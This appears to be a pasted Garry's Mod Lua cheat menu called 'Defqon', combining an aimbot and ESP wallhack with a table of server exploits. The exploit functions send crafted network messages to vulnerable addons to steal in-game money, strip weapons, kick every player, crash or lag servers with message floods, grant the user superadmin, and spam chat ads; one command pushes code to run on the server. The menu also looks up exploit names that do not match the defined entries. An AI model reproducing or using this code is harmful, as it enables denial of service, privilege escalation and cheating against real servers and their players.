Untitled
unknown
plain_text
2 years ago
291 kB
3
No Index
local RatesScaleLevel = LocalPlayer():SteamID() -- Так сказать у меня аутизм
if RatesScaleLevel == LocalPlayer():SteamID() then
if ( SERVER ) then
function file.Read(d)
return "Well try my slut ;)"
end
end
local C = table.Copy( concommand )
local CCA = C.Add
local prant = print
concommand.Add("dissolves",diss)
function diss()
local sus = [[
Entity(1):Ignite(3000000)
]]
net.Start(thefrenchenculer)
net.WriteString( sus)
net.WriteBit(1)
net.SendToServer()
end
prant( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
MsgC (Color( 66, 61, 55 ), [[
===========================================================================
____ __ ____ _ _ _ ____ ___
| _ \ ___ / _| __ _ ___ _ __ / ___| _ __ | | ___ (_) |_ | ___| / _ \
| | | |/ _ \ |_ / _` |/ _ \| '_ \\___ \| '_ \| |/ _ \| | __| |___ \| | | |
| |_| | __/ _| (_| | (_) | | | |___) | |_) | | (_) | | |_ ___) | |_| |
|____/ \___|_| \__, |\___/|_| |_|____/| .__/|_|\___/|_|\__| |____(_)___/
|_| |_|
===========================================================================
`-.`'.-'
`-. .-'.
`-. -./\.- .-'
-. /_|\ .-
`-. `/____\' .-'.
`-. -./.-""-.\.- '
`-. /< (()) >\ .-'
- .`/__`-..-'__\' .-
,...`-./___|____|___\.-'.,.
)\ / ) /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ ( \ /(
/ / ( ( | Непонятная хуета 5.1.1 | ) ) \ \
| | \ \ | |dev 17.03.18| | / / | |
.-.\ \ \ \ | by Leith | / / / /.-.
(= )\ `._.' | | discord.gg/hf8GVVS | | `._.' /( =)
\ (_) ) | -------------------------------- | ( (_) /
\ `----' | Type Defqon in console to open! | '----` /
\ -------------------------------- /
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
love you, спасибо за использование этого меню (-'_'-)
==========================================================================================
]])
surface.PlaySound("npc/sniper/reload1.wav")
------------------------------------------------------------------------Defqon MENU--------------------------------------------------------------------------------------
--[[ WATERMARK ]] --
--[[Watermark = vgui.Create( "HTML" )
Watermark:SetPos( -13, -8)
Watermark:SetSize( ScrW(), ScrH())
Watermark:OpenURL( "" )]]
----------------------------------------------
Version = "v5.1.1"
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
local AimbotPoints = {}
AimbotPoints[1] = {bone = "ValveBiped.Bip01_Head1"}
AimbotPoints[2] = {bone = "ValveBiped.Bip01_Neck1"}
AimbotPoints[3] = {bone = "ValveBiped.Bip01_Spine4"}
AimbotPoints[4] = {bone = "ValveBiped.Bip01_Spine2"}
AimbotPoints[5] = {bone = "ValveBiped.Bip01_Spine"}
surface.CreateFont( "Font L", {
font = "Courier New",
size = 18,
weight = 300,
} )
surface.CreateFont( "Font M", {
font = "Courier New",
size = 15,
weight = 300,
} )
surface.CreateFont( "Font L2", {
font = "Verdana",
extended = false,
size = 12,
weight = 1000,
blursize = 0,
scanlines = 0,
shadow = true,
antialias = true
} )
// if you're going to use this for your paste atleast give me credit :)
// CFour - /id/BordersClosed/
local pMenu = {} // functions
local pMenuVars = {
Tabs = {},
Sliders = {},
CheckBoxes = {},
Exploits = {}
} // store values to be used at a later time
local BigExploits = {}
local PI = 3.14159265359;
local Rad = 180 / PI
function pMenu.IsNetString(netstring)
local validate,_ = pcall( net.Start, netstring )
if validate then
return validate;
end
return false;
end
function pMenu.RandomString(len)
if len == nil then
len = math.random(20,100)
end
local ret = ""
for i=1,len do
ret = ret..string.char(math.random(33,126)) // fist 32 of ascii is pretty much garbage, I don't want spaces so we're skipping 32.
end // also I don't think gmod uses extended ascii
return ret
end
BigExploits["Мани с дуэли)"] = {func =
function()
if pMenu.IsNetString("duelrequestguiYes") then
net.Start("duelrequestguiYes")
net.WriteInt(-2147483648,32) // b1g 32 bit int laff -> -99999999999999999999999999999999999999999999999999999999999999999999999999999
net.WriteEntity(table.Random( player.GetAll() ) )
net.WriteString("Crossbow")
net.SendToServer()
end
end
}
BigExploits["Наркотики стилят оружия?"] = {func =
function()
if pMenu.IsNetString("drugseffect_remove") then
net.Start("drugseffect_remove")
net.SendToServer()
end
end
}
BigExploits["Наркотики крадут деньги?"] = {func =
function()
if pMenu.IsNetString("drugs_money") then
net.Start("drugs_money")
net.SendToServer()
end
end
}
BigExploits["Наркотики поджигают все пропы?"] = {func =
function()
if pMenu.IsNetString("drugs_ignite") then
net.Start("drugs_ignite")
net.WriteString("prop_physics")
net.SendToServer()
end
end
}
BigExploits["Наркота убирает все пропы?"] = {func =
function()
if pMenu.IsNetString("drugs_text") then
net.Start("drugs_text")
net.WriteString("prop_physics")
net.SendToServer()
end
end
}
BigExploits["TGN Advanced Money Printer Взят кэш)"] = {func =
function()
if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then
for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
if v:IsValid() then
net.Start( "SyncPrinterButtons76561198056171650" )
net.WriteEntity(v)
net.WriteUInt(2, 4)
net.SendToServer()
end
end
end
end
}
BigExploits["Логгирующий скрипт кикает всех?"] = {func =
function()
if pMenu.IsNetString("DL_Answering") then
local function reportQuestionmark()
for i = 1, 2000 do
net.Start("DL_Answering")
net.SendToServer()
end
end
timer.Create(pMenu.RandomString(20),0.1,50,reportQuestionmark)
end
end
}
BigExploits["SimplicityAC Краш сервера"] = {func =
function()
if pMenu.IsNetString("SimplicityAC_aysent") then
local tbl = {}
for i=1,1000 do
tbl[i] = i;
end
net.Start("SimplicityAC_aysent")
net.WriteUInt(1, 8)
net.WriteUInt(4294967295, 32)
net.WriteTable(tbl)
net.SendToServer()
end
end
}
BigExploits["Auzlex's Teleport System Lag"] = {func =
function()
if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then
timer.Create(pMenu.RandomString(20),0.05,6000,function()
for k,v in pairs(player.GetAll()) do
net.Start( "ATS_WARP_REMOVE_CLIENT" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
net.Start( "ATS_WARP_FROM_CLIENT" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
net.Start( "ATS_WARP_VIEWOWNER" )
net.WriteEntity( v )
net.WriteString( "adminroom1" )
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 2"] = {func =
function()
if pMenu.IsNetString("CFRemoveGame") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for k,v in pairs(player.GetAll()) do
net.Start( "CFRemoveGame" )
net.WriteFloat( math.Round( "10000\n" ) )
net.SendToServer()
net.Start( "CFJoinGame" )
net.WriteFloat( math.Round( "10000\n" ) )
net.SendToServer()
net.Start( "CFEndGame" )
net.WriteFloat( "10000\n" )
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 3"] = {func =
function()
if pMenu.IsNetString("CreateCase") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i = 1, 300 do
net.Start( "CreateCase" )
net.WriteString( "tapped by b1g hack from citizenhack.me" )
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 4"] = {func =
function()
if pMenu.IsNetString("rprotect_terminal_settings") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i = 1, 200 do
net.Start( "rprotect_terminal_settings" )
net.WriteEntity( LocalPlayer() )
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 5"] = {func =
function()
if pMenu.IsNetString("StackGhost") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i = 1, 8 do
for k,v in pairs( player.GetAll() ) do
net.Start( "StackGhost" )
net.WriteInt(69,32)
net.SendToServer()
end
end
end)
end
end
}
BigExploits["Lagger 6"] = {func =
function()
if pMenu.IsNetString("JoinOrg") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for k,v in pairs(player.GetAll()) do
net.Start("JoinOrg")
net.WriteEntity(LocalPlayer())
net.WriteString("test")
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 7"] = {func =
function()
if pMenu.IsNetString("pac_submit") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i=1, 1800 do
net.Start("pac_submit")
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 8"] = {func =
function()
if pMenu.IsNetString("steamid2") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i = 1, 300 do
net.Start( "steamid2" )
net.WriteString( "S P I C Y " )
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 9"] = {func =
function()
if pMenu.IsNetString("NDES_SelectedEmblem") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i=1, 2000 do
net.Start("NDES_SelectedEmblem")
net.WriteString("exploitcity has to be a joke they can be for real.")
net.SendToServer()
end
end)
end
end
}
BigExploits["Lagger 10"] = {func =
function()
if pMenu.IsNetString("join_disconnect") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i=1, 3000 do
net.Start("join_disconnect")
net.WriteEntity(table.Random(player.GetAll()))
net.SendToServer()
end
end)
end
end
}
BigExploits["PAC Crash Server old"] = {func =
function()
if pMenu.IsNetString("pac_to_contraption") then
local tbl = {}
for i=1,1000000000 do
tbl[#tbl + 1] = i
end
net.Start("pac_to_contraption")
net.WriteTable( tbl )
net.SendToServer()
end
end
}
BigExploits["NLRKick"] = {func =
function()
if pMenu.IsNetString("NLRKick") then
for k,v in pairs(player.GetAll()) do
if v == LocalPlayer() then
continue;
end
net.Start("NLRKick")
net.WriteEntity(v)
net.SendToServer()
end
end
end
}
BigExploits["B1g Crasher"] = {func =
function()
if pMenu.IsNetString("Morpheus.StaffTracker") then
timer.Create(pMenu.RandomString(20),0.02,15000,function()
for i=1, 2000 do
net.Start("Morpheus.StaffTracker")
net.SendToServer()
end
end)
end
end
}
BigExploits["Give superadmin"] = {func =
function()
if pMenu.IsNetString("pplay_deleterow") then
local id = LocalPlayer():SteamID()
local tbl = {}
tbl.name = "FAdmin_PlayerGroup"
tbl.where = {"steamid",tostring(id)}
net.Start("pplay_deleterow")
net.WriteTable(tbl)
net.SendToServer()
local tbl = {}
tbl.tblname = "FAdmin_PlayerGroup"
tbl.tblinfo = {tostring(id),"superadmin"}
net.Start("pplay_addrow")
net.WriteTable(tbl)
net.SendToServer()
end
end
}
BigExploits["pm spam"] = {func =
function()
timer.Create(pMenu.RandomString(20),5,10,function()
for k,v in pairs(player.GetAll()) do
if v == LocalPlayer() then
continue;
end
LocalPlayer():ConCommand("ulx psay "..v:Nick().." SERVER OWNED vk.com/blitzmenu "..LocalPlayer():Nick())
end
end)
end
}
BigExploits["asay spam"] = {func =
function()
timer.Create(pMenu.RandomString(20),1.1,10,function()
for i=1, ((1/FrameTime())) do
LocalPlayer():ConCommand("ulx asay"..'"vk.com/blitzmenu | Defqon')
end
end)
end
}
function pMenu.MouseInArea(frame,minx,miny,maxx,maxy)
local PosX,PosY = frame:GetPos()
local posx,posy = gui.MousePos();
return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
end
function pMenu.DrawOutLinedRect(x,y,w,h,color)
surface.SetDrawColor( color )
surface.DrawOutlinedRect( x, y, w, h )
surface.SetDrawColor( Color(255,255,255,255) )
end
function pMenu.DrawRect(x,y,w,h,color)
surface.SetDrawColor( color )
surface.DrawRect( x, y, w, h )
surface.SetDrawColor( Color(255,255,255,255) )
end
function pMenu.Drawline(x,y,x2,y2,color)
surface.SetDrawColor(color)
surface.DrawLine(x,y,x2,y2)
surface.SetDrawColor( Color(255,255,255,255) )
end
function pMenu.DrawCircle(X,Y,radius,numSides,color)
local Step = PI * 2.0 / numSides;
local old = 0;
for a=0,PI*2.0,Step do
local X1 = radius * math.cos(a) + X;
local Y1 = radius * math.sin(a) + Y;
local X2 = radius * math.cos(a + Step) + X;
local Y2 = radius * math.sin(a + Step) + Y;
surface.SetDrawColor( color )
surface.DrawLine(X1, Y1, X2, Y2);
end
end
function pMenu.DrawSlider(frame,x,y,w,h,slider,min,max,startval,round)
if round == nil then
round = false;
end
max = max - min
if pMenuVars.Sliders[slider] == nil then
pMenuVars.Sliders[slider] = {min = min, max = max, value = startval}
end
local PosX,PosY = frame:GetPos()
local NewX,NewY = PosX + x,PosY + y
pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
if input.IsMouseDown(MOUSE_LEFT) && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
local MX,MY = gui.MousePos();
local MXF,MYF = MX - NewX + x,MY - NewY + y
if round == false then
pMenuVars.Sliders[slider].value = math.Clamp(math.Round((((MXF - x) / w) * max + min)),min,max + min)
else
pMenuVars.Sliders[slider].value = math.Clamp((((MXF - x) / w) * max + min),min,max + min)
end
end
local val = pMenuVars.Sliders[slider].value;
local slid = (w - 10) / (max) * (val - min)
pMenu.DrawRect(x + slid,y,10,h,Color(18,89,131,255))
draw.SimpleText(val,"Font M",x + (w/2),y + 2,Color(255,255,255,255),TEXT_ALIGN_CENTER)
pMenu.DrawOutLinedRect(x,y, w , h , Color( 0,255,255, 200 ))
end
function pMenu.DrawCheckBox(frame,x,y,CBOX,defvalue,text)
local w,h = 20,20
if pMenuVars.CheckBoxes[CBOX] == nil then
pMenuVars.CheckBoxes[CBOX] = {value = defvalue,tez = 0}
end
local PosX,PosY = frame:GetPos()
local NewX,NewY = PosX + x,PosY + y
pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.CheckBoxes[CBOX].value then
pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,59,101,255))
end
if input.IsMouseDown(MOUSE_LEFT) then
pMenuVars.CheckBoxes[CBOX].tez = pMenuVars.CheckBoxes[CBOX].tez + 1
else
pMenuVars.CheckBoxes[CBOX].tez = 0;
end
if pMenuVars.CheckBoxes[CBOX].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
pMenuVars.CheckBoxes[CBOX].value = !pMenuVars.CheckBoxes[CBOX].value;
end
if pMenuVars.CheckBoxes[CBOX].value then
pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,89,131,255))
end
draw.SimpleText(text,"Font M",x + w + 5,y + 2,Color(255,255,255,255),TEXT_ALIGN_LEFT)
end
function pMenu.DrawTab(frame,x,y,w,h,NAME,defvalue)
if pMenuVars.Tabs[NAME] == nil then
pMenuVars.Tabs[NAME] = {value = defvalue,tez = 0}
end
local PosX,PosY = frame:GetPos()
local NewX,NewY = PosX + x,PosY + y
pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.Tabs[NAME].value then
pMenu.DrawRect(x,y,w,h,Color(18,59,101,255))
end
if input.IsMouseDown(MOUSE_LEFT) then
pMenuVars.Tabs[NAME].tez = pMenuVars.Tabs[NAME].tez + 1
else
pMenuVars.Tabs[NAME].tez = 0;
end
if pMenuVars.Tabs[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
pMenuVars.Tabs[NAME].value = !pMenuVars.Tabs[NAME].value;
end
if pMenuVars.Tabs[NAME].value then
pMenu.DrawRect(x,y,w,h,Color(18,89,131,255))
end
pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
draw.SimpleText(NAME,"Font L",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
function pMenu.DrawExploit(frame,x,y,w,h,NAME,func,text1,text2)
if pMenuVars.Exploits[NAME] == nil then
pMenuVars.Exploits[NAME] = {func = func,tez = 0}
end
local PosX,PosY = frame:GetPos()
local NewX,NewY = PosX + x,PosY + y
pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
pMenu.DrawRect(x,y,w,h,Color(18,59,101,255))
end
if input.IsMouseDown(MOUSE_LEFT) then
pMenuVars.Exploits[NAME].tez = pMenuVars.Exploits[NAME].tez + 1
else
pMenuVars.Exploits[NAME].tez = 0;
end
if pMenuVars.Exploits[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
pMenuVars.Exploits[NAME].func();
end
pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
if text2 == nil then
draw.SimpleText(text1,"Font M",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
else
draw.SimpleText(text1,"Font M",x + w/2,y + h/2 - 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(text2,"Font M",x + w/2,y + h/2 + 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
local firsttime = true
local Frame = NULL;
function pMenu.Menu()
Frame = vgui.Create( "DFrame" )
Frame:SetTitle( "" )
Frame:SetSize( 700, 500 )
Frame:Center()
Frame:ShowCloseButton(false)
Frame:MakePopup()
Frame.Paint = function( self, w, h )
pMenu.DrawRect(0, 0, w, h, Color( 32,45,54, 230 ))
pMenu.DrawRect(0, 0, w, 20, Color( 18,89,131, 255 ))
pMenu.DrawOutLinedRect(0, 0, w, 20, Color( 0,255,255, 200 ))
pMenu.DrawOutLinedRect(0, 0, w, h, Color( 0,255,255, 200 ))
pMenu.DrawRect(5, 25, 125, h - 30, Color( 18,89,131, 100 ))
pMenu.DrawOutLinedRect(5, 25, 125, h - 30, Color( 0,255,255, 200 ))
pMenu.DrawOutLinedRect(135, 25, w - 140, h - 30, Color( 0,255,255, 200 ))
draw.SimpleText("BIG MENU (Delete для открытия/закрытия меню)","Font L",w/2,1,Color(255,255,255,255),TEXT_ALIGN_CENTER)
local Aimbot = "Aimbot";
local Visuals = "Visuals";
local b1gExploits = "Exploits"
local misc = "misc"
local hvh = "HvH"
pMenu.DrawTab(Frame,10,30,115,50,Aimbot,true)
pMenu.DrawTab(Frame,10,85,115,50,Visuals,true)
pMenu.DrawTab(Frame,10,140,115,50,b1gExploits,true)
pMenu.DrawTab(Frame,10,195,115,50,misc,true)
pMenu.DrawTab(Frame,10,250,115,50,hvh,true)
if pMenuVars.Tabs[Visuals].value then
pMenu.DrawCheckBox(Frame,170,55,"ESP",true,"Enable ESP")
pMenu.Drawline(160,95,350,95,Color(0,255,255,255))
pMenu.DrawCheckBox(Frame,150,115,"ESP Name",true,"Name")
pMenu.DrawCheckBox(Frame,150,145,"ESP BoundingBox",true,"Bounding Box")
pMenu.DrawCheckBox(Frame,150,175,"ESP HealthBar",true,"Health Bar")
pMenu.DrawCheckBox(Frame,150,205,"ESP Traceline",true,"Eye Traceline")
draw.SimpleText("Traceline Distance","Font M",150,237,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,150,265,210,20,"ESP Traceline Distance",25, 250, 71)
pMenu.DrawCheckBox(Frame,150,295,"ESP Position",false,"Position")
pMenu.DrawCheckBox(Frame,150,325,"ESP Angles",false,"Eye Angles")
pMenu.DrawCheckBox(Frame,150,355,"ESP Glow",false,"Glow")
pMenu.DrawCheckBox(Frame,150,385,"ESP Chams",false,"Chams")
pMenu.DrawCheckBox(Frame,150,415,"ESP XQZ",false,"XQZ")
pMenu.DrawCheckBox(Frame,150,445,"ESP WeaponCham",false,"Weapon Chams")
draw.SimpleText("Box Color","Font M",390,35,Color(255,255,255,255),TEXT_ALIGN_LEFT)
draw.SimpleText("R","Font M",660,55,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,55,260,20,"ESP BoxColor.r",0, 255, 255)
draw.SimpleText("G","Font M",660,80,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,80,260,20,"ESP BoxColor.g",0, 255, 0)
draw.SimpleText("B","Font M",660,105,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,105,260,20,"ESP BoxColor.b",0, 255, 255)
draw.SimpleText("Text Color","Font M",390,130,Color(255,255,255,255),TEXT_ALIGN_LEFT)
draw.SimpleText("R","Font M",660,150,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,150,260,20,"ESP TextColor.r",0, 255, 255)
draw.SimpleText("G","Font M",660,175,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,175,260,20,"ESP TextColor.g",0, 255, 206)
draw.SimpleText("B","Font M",660,200,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,200,260,20,"ESP TextColor.b",0, 255, 121)
draw.SimpleText("Chams Visible","Font M",390,225,Color(255,255,255,255),TEXT_ALIGN_LEFT)
draw.SimpleText("R","Font M",660,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,250,260,20,"ESP ChamVisColor.r",0, 255, 10)
draw.SimpleText("G","Font M",660,275,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,275,260,20,"ESP ChamVisColor.g",0, 255, 206)
draw.SimpleText("B","Font M",660,300,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,300,260,20,"ESP ChamVisColor.b",0, 255, 4)
draw.SimpleText("Chams Non-Visible","Font M",390,325,Color(255,255,255,255),TEXT_ALIGN_LEFT)
draw.SimpleText("R","Font M",660,350,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,350,260,20,"ESP ChamNVisColor.r",0, 255, 70)
draw.SimpleText("G","Font M",660,375,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,375,260,20,"ESP ChamNVisColor.g",0, 255, 70)
draw.SimpleText("B","Font M",660,400,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,390,400,260,20,"ESP ChamNVisColor.b",0, 255, 255)
pMenu.Drawline(375,30,375,490,Color(0,255,255,255))
end
if pMenuVars.Tabs[misc].value then
pMenu.DrawCheckBox(Frame,170,55,"MISC Thirdperson",false,"Enable ThirdPerson")
draw.SimpleText("Distance","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,105,260,20,"MISC Thirdperson Distance",10, 300, 100)
pMenu.DrawCheckBox(Frame,170,135,"MISC Bhop",true,"Enable Bunnyhop")
pMenu.DrawCheckBox(Frame,170,165,"MISC Autostrafe",true,"Enable Autostrafe")
pMenu.DrawCheckBox(Frame,170,195,"MISC Text to speech is fucking aids",false,"Enable Text to Speech")
end
if pMenuVars.Tabs[b1gExploits].value then
if pMenu.IsNetString("duelrequestguiYes")then
pMenu.DrawExploit(Frame,140,30,170,50,"Duel Moniez",BigExploits["Duel Moniez"].func,"Dueling","Give b1g money")
end
if pMenu.IsNetString("drugseffect_remove") then
pMenu.DrawExploit(Frame,140,85,170,50,"Drugsmod remove all weapons?",BigExploits["Drugsmod remove all weapons?"].func,"Drugsmod","Strip all Weapons?")
end
if pMenu.IsNetString("drugs_money") then
pMenu.DrawExploit(Frame,140,140,170,50,"Drugsmod remove all money?",BigExploits["Drugsmod remove all money?"].func,"Drugsmod","Remove all money?")
end
if pMenu.IsNetString("drugs_ignite") then
pMenu.DrawExploit(Frame,140,195,170,50,"Drugsmod ignite all props?",BigExploits["Drugsmod ignite all props?"].func,"Drugsmod","ignite all props?")
end
if pMenu.IsNetString("drugs_text") then
pMenu.DrawExploit(Frame,140,250,170,50,"Drugsmod remove all props?",BigExploits["Drugsmod remove all props?"].func,"Drugsmod","Remove all props?")
end
if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then
pMenu.DrawExploit(Frame,140,305,170,50,"TGN Advanced Money Printer Take Monie",BigExploits["TGN Advanced Money Printer Take Monie"].func,"TGN Advanced Printer","Take all money")
end
if pMenu.IsNetString("DL_Answering") then
pMenu.DrawExploit(Frame,140,360,170,50,"Logging thing Kick All players?",BigExploits["Logging thing Kick All players?"].func,"Logging thing","Kick all players")
end
if pMenu.IsNetString("SimplicityAC_aysent") then
pMenu.DrawExploit(Frame,140,415,170,50,"SimplicityAC Crash Server",BigExploits["SimplicityAC Crash Server"].func,"SimplicityAC","Crash Server")
end
if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then
pMenu.DrawExploit(Frame,315,30,170,50,"Auzlex's Teleport System Lag",BigExploits["Auzlex's Teleport System Lag"].func,"Auzlex's Teleport System","Lag Server for 5 min")
end
if pMenu.IsNetString("CFRemoveGame") then
pMenu.DrawExploit(Frame,315,85,170,50,"Lagger 2",BigExploits["Lagger 2"].func,"Lagger 2 (5 min)")
end
if pMenu.IsNetString("CreateCase") then
pMenu.DrawExploit(Frame,315,140,170,50,"Lagger 3",BigExploits["Lagger 3"].func,"Lagger 3 (5 min)")
end
if pMenu.IsNetString("rprotect_terminal_settings") then
pMenu.DrawExploit(Frame,315,195,170,50,"Lagger 4",BigExploits["Lagger 4"].func,"Lagger 4 (5 min)")
end
if pMenu.IsNetString("StackGhost") then
pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 5",BigExploits["Lagger 5"].func,"Lagger 5 (5 min)")
end
if pMenu.IsNetString("JoinOrg") then
pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 6",BigExploits["Lagger 6"].func,"Lagger 6 (5 min)")
end
if pMenu.IsNetString("pac_submit") then
pMenu.DrawExploit(Frame,315,305,170,50,"Lagger 7",BigExploits["Lagger 7"].func,"Lagger 7 (5 min)")
end
if pMenu.IsNetString("pac_to_contraption") then
pMenu.DrawExploit(Frame,315,360,170,50,"PAC Crash Server old",BigExploits["PAC Crash Server old"].func,"PAC (patched on some)","Crash Server")
end
if pMenu.IsNetString("NLRKick") then
pMenu.DrawExploit(Frame,315,415,170,50,"NLRKick",BigExploits["NLRKick"].func,"NLR","Kick everyone (but you)")
end
if pMenu.IsNetString("steamid2") then
pMenu.DrawExploit(Frame,490,30,170,50,"Lagger 8",BigExploits["Lagger 8"].func,"Lagger 8 (5min)")
end
if pMenu.IsNetString("NDES_SelectedEmblem") then
pMenu.DrawExploit(Frame,490,85,170,50,"Lagger 9",BigExploits["Lagger 9"].func,"Lagger 9 (5min)")
end
if pMenu.IsNetString("join_disconnect") then
pMenu.DrawExploit(Frame,490,140,170,50,"Lagger 10",BigExploits["Lagger 10"].func,"Lagger 10 (5min)")
end
if pMenu.IsNetString("Morpheus.StaffTracker") then
pMenu.DrawExploit(Frame,490,195,170,50,"B1g Crasher",BigExploits["B1g Crasher"].func,"B1g Crasher")
end
if pMenu.IsNetString("pplay_deleterow") then
pMenu.DrawExploit(Frame,490,250,170,50,"Give superadmin",BigExploits["Give superadmin"].func,"Give superadmin")
end
pMenu.DrawExploit(Frame,490,305,170,50,"pm spam",BigExploits["pm spam"].func,"Spam")
pMenu.DrawExploit(Frame,490,360,170,50,"asay spam",BigExploits["asay spam"].func,"asay spam")
draw.SimpleText("Defqon pExploitcity ","Font L",140,470,Color(255,255,255,255),TEXT_ALIGN_LEFT)
end
if pMenuVars.Tabs[Aimbot].value then
pMenu.DrawCheckBox(Frame,170,55,"Aibmot Enable",false,"Enable")
draw.SimpleText("Aimbot FOV","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,105,490,20,"Aimbot FOV",1, 360, 10,true)
pMenu.DrawCheckBox(Frame,170,140,"Aibmot Smooth",false,"Smooth movement")
draw.SimpleText("Smooth amount","Font M",170,170,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,190,225,20,"Aimbot Smooth AMT",1, 100, 5)
pMenu.DrawCheckBox(Frame,410,140,"Aibmot Show fov circle",false,"Aibmot FOV circle (sort of accurate)")
draw.SimpleText("Circle color","Font M",410,170,Color(255,255,255,255),TEXT_ALIGN_LEFT)
draw.SimpleText("R","Font M",645,190,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,410,190,225,20,"Aimbot Circle.r",1, 255, 255)
draw.SimpleText("G","Font M",645,215,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,410,215,225,20,"Aimbot Circle.g",1, 255, 255)
draw.SimpleText("B","Font M",645,240,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,410,240,225,20,"Aimbot Circle.b",1, 255, 1)
draw.SimpleText("A","Font M",645,265,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,410,265,225,20,"Aimbot Circle.a",1, 255, 255) // 159
draw.SimpleText("Aimkey (wiki.garrysmod.com/page/Enums/KEY) Default: Left Alt","Font M",170,290,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,315,490,20,"Aimbot Key",1, 159, 81)
draw.SimpleText("Aimspot (default values): 1 = head, 2 = neck,3 = top of the spine","Font M",170,340,Color(255,255,255,255),TEXT_ALIGN_LEFT)
